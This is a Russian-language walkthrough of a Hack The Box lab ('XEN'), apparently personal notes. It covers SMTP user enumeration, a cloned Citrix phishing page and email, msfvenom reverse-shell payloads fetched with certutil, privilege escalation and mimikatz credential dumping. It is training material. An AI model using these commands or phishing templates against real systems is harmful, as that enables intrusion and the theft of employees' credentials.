# HTB Endgames XEN
Это корпоративная инфраструктура, в которой необходимо поледовательно перемещаться и получать креды.
Нужно получить 6 флагов.
# Часть первая
**Проникновение во внутреннюю сеть через службы удаленного доступа**
Подключаемся к впн endgames
## Пробиваемся во внутрь через сервисы удаленного доступа - разведка
Сканируем сеть
* sudo nmap -Pn -n -vv -T4 -sS -sV --version-all -sC -O -p- --open -oA full_scan_xen_intro 10.13.38.12
Открыты порты

изучаем что есть на машине на 80 порту

Происходит редирект на humongousretail (это имя не резолвится) на порту 443 - https
Добавляем имя в
* nano /etc/hosts

Теперь ссылка открывается
https://humongousretail.com/

Изучаем сайт

Видим адресс эл.почты
**Запускаем gobuster, whatweb**
* whatweb -a 3 --log-brief=humongousretail.com.log https://humongousretail.com

* gobuster dir -u https://humongousretail.com -k -t 50 -b 404,403 -x txt,html,asp,aspx,bak,old -o gd1.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-k ошибки сертификата сервера не валидного - принимались

смотрим что набруталось

ВИдим remote
переходим по ссылке и видим citrix
https://humongousretail.com/remote/

У нас есть почта jointheteam и домен humongousretail.com
Мы можем подобрать почты
Поднимаем **telnet**
*telnet humongousretail.com 25
25 порт - почтовый
Мы можем перебирать почты
и с помощью RCPT TO (resipent to) можем тестировать почты
* ehlo test
* RCPT TO:test@humongousretail.com
* MAIL FROM:test@humongousretail.com (указываем отправителя)
* RCPT TO:jointheteam@humongousretail.com (указываем получателя)
250 OK

Перловый скрипт **smtp-user-enum**
В автоматическом режиме перебирает почты
Установим
* sudo apt install smtp-user-enum
Словарик почтовых ящиков у метасплойта
* less /usr/share/metasploit-framework/data/wordlists/namelist.txt
Так же есть Модуль для метасплойта (автоматический перебор)

* smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/namelist.txt -D humongousretail.com -t humongousretail.com -m 50
-M используемый метод
-D почтвый домен
-t почтовый сервис
-m количество потоков

перебрал почты
**Защита - в настройках почтового сервиса - не давать ответ существует\не существует**
Записали в файл найденные почты

Теперь отправляем почту этим юзерам от it службы
(чтобы они ввели учетные данные на странице цитрикса)
Фишинговая станица
**Фишинговая атака**
Клонируем веб приложение
ФОрмируем фишинговое письмо, с сылкой на фишинговый сайт и ждать учетные данные
Добавим расширение для мозилы singlefile

Cохранили страничку одним файлом

Переименовали и скопировали в папку сайт

В этой странице нет submit
Поднимаем сервер и эту страницу
Используем **SET**
Выбранные опции
1) Social-Engineering Attacks
2) Website Attack Vectors
3) Credential Harvester Attack Method
3) Custom Import
10.10.14.2 ввели наш айпи
/root/site указали путь до клонированного сайта
1. Copy just the index.html
https://humongousretail.com/remote/auth/login.aspx путь сайта который клонировали
Но он не получает данные при вводе на фишинговом сайте
Потому что кнопка Log On не отрабатывает. Добавим ее в код
Скопировали на хост файл index.html

тег а заменяем на button с типом submit

## Фишинг
Воспользуемся инструментом для фишинга **Setoolkit**
установка
* sudo apt install set
запуск
* sudo setoolkit
Настройки см выше

Проверка :
ввели в поисковой строке 10.10.14.7 , вбили креды и поймали их на кали

Напишем фишинговое письмо
* nano body.txt
```
Hello,
We just performed manitenance on our servers.
Please verify if you can still access the login:
http://10.10.14.7
Regards,
IT Team
```
Для отправки писем воспользуемся утилитой **swaks**
* sudo apt install swaks
Рассылаем
* swaks --to legal@humongousretail.com --from it@humongousretail.com --header “Subject: Servers_manitenance” --body body.txt --server humongousretail.com --port 25

Но ответа мы так и не получили
Попробуем отправить письма через скрипт **send.sh**
Берет утилиту swaks иттерируется по почтовым адресам и отправляет на почту каждому из адресатов письмо с текстом бади.

подправим письмо, укажем путь remote/auth/login.aspx (потому что скрипт тригерится на него)
Скрипт send.sh

Поднимаем setoolkit
Настраиваем ( см выше команды)
Переименовали файл mail.txt в emails.txt чтобы отработал скрипт

**Получили креды** от 3 пользователей


```
user=jmendes
password=VivaBARC3L0N@!!!
user=pmorgan
password=Summer1Summer!
user=awardel
password=@M3m3ntoM0ri@
```
## Получаем первоначальный доступ
скачиваем клиент цитрикс на кали
icaclientWeb_13.10.0.20_amd64.deb
Устанавлиеваем
* dpkg -i icaclientWeb_13.10.0.20_amd64.deb
Скачиваем библиотеку, так как без нее ругается
* wget http://ftp.de.debian.org/debian/pool/main/libi/libidn/libidn11_1.33-3_amd64.deb

Connect on Citrix


Открыл цитрикс

На рабочем столе находится флаг

Получили доступ к машине и используем ее как плацдарм для атаки. Необходимо уметь запускать код на ней
вводим cmd ,но стоит запрет

Через введение прямого пути - тоже не дает

**Нас ограничили на уровне интерфейса проводника explorer.exe - shell**
Пробуем создать файлик текстовый / скрипт и в настройках включим отображение расширений


Создаем скрипт на powershell

запускаем edit этого файла
и оттуда запускаем powershell

* taskmgr - диспетчер задач
Так же мы можем создать **батник**
test.bat , в котором через блокнот мы пропишем cmd.exe
И получаем доступ к командной строке

**Цель сделать так чтобы порождающмим процессом был не explorer.exe а другой процесс**
Далее через С2 на пробитой машине можем туннелироваться дальше ( то есть открывать доп канал связи)
В качестве С2 будем использовать **метерпретер**
## Повышаем привилегии (этот этап идет дальше по методологии)
КНопкой Виндовс - мы открываем консоль и свернем открытую сессию цитрикса
Перейдем в кали генерить полезную нагрузку, которая будет коннектится на мой порт 8080
* msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.7 lport=8080 -f exe -o test.exe

Далее надо перенести полезную нагрузку на атакуемую машину. Все способы по трансферу файлов https://github.com/swisskyrepo/PayloadsAllTheThings
Для виндовс https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
Выберем способ
* certutil -urlcache -split -f http://10.10.14.7/test.exe
Скачали тест.ехе

Поднимаем сервер
* python3 -m http.server 80

Поднимаем листенер

Запустили test.exe на атакуемой машине и получили сессию


Свернем ее в бэкграунд
* background
Повышаем привилегии, воспользуемся **пост модулем suggester**

local exploit suggester - делает разные проверки, мисконфиги, пробует ядерные эксплойты для винды, работает для линукс и виндовс (похож на вин пис, но в метерпретере)
Указываем сессию
и он начинает собирать инфу

Нашел различные эксплойты

Воспользуемся эксплойтом
* use exploit/windows/local/always_install_elevated
Существуют некие Group policy(ключик в реестре always_install_elevated), благодаря которому обычным пользователям разрешается запускать **msi файлы с правами системы** , данный эксплоит именно эту возможность и использует для повышения привелегий(по факту он генерит msi файл с нужными ключами, закидывает его на таргет и запускает его)
Генерим свой msi файл, закинем на машину
Задаем полезную нагрузку
* set payload windows/x64/meterpreter/reverse_tcp
* set lhost tun0

* set session 1
* run
Сгенерил полезную нагрузку с расширением msi, скопировал в папку и запускает
Uploading the MSI to C:\Users\jmendes\AppData\Local\Temp\XcaPqZarlIjGt.msi

Сессии прилетели, но почему то не видим их.

Мы система

Далее **Дампим хэши локальных учетных записей из базы SAM** (sam хранится ветка реестра, в которой хранятся зашифрованные учетные данные)

* load kiwi
* creds_all
Показывает из памяти lsas данные юзеров, кто выполнил вход в систему

Но мы получили ощибку
`[-] Error running command creds_all: ArgumentError invalid byte sequence in UTF-8`
В таком случае запускаем киви через mimikatz
* load mimikatz
* kiwi_cmd 'sekurlsa::logonpasswords'

В открытом виде получаем креды
Перешли в папку desktop нашли флаг админа

Здесь мы система, Надампили учетные данные, эти учетные даные можем переиспользовать на другие машины, можем атаковать домен.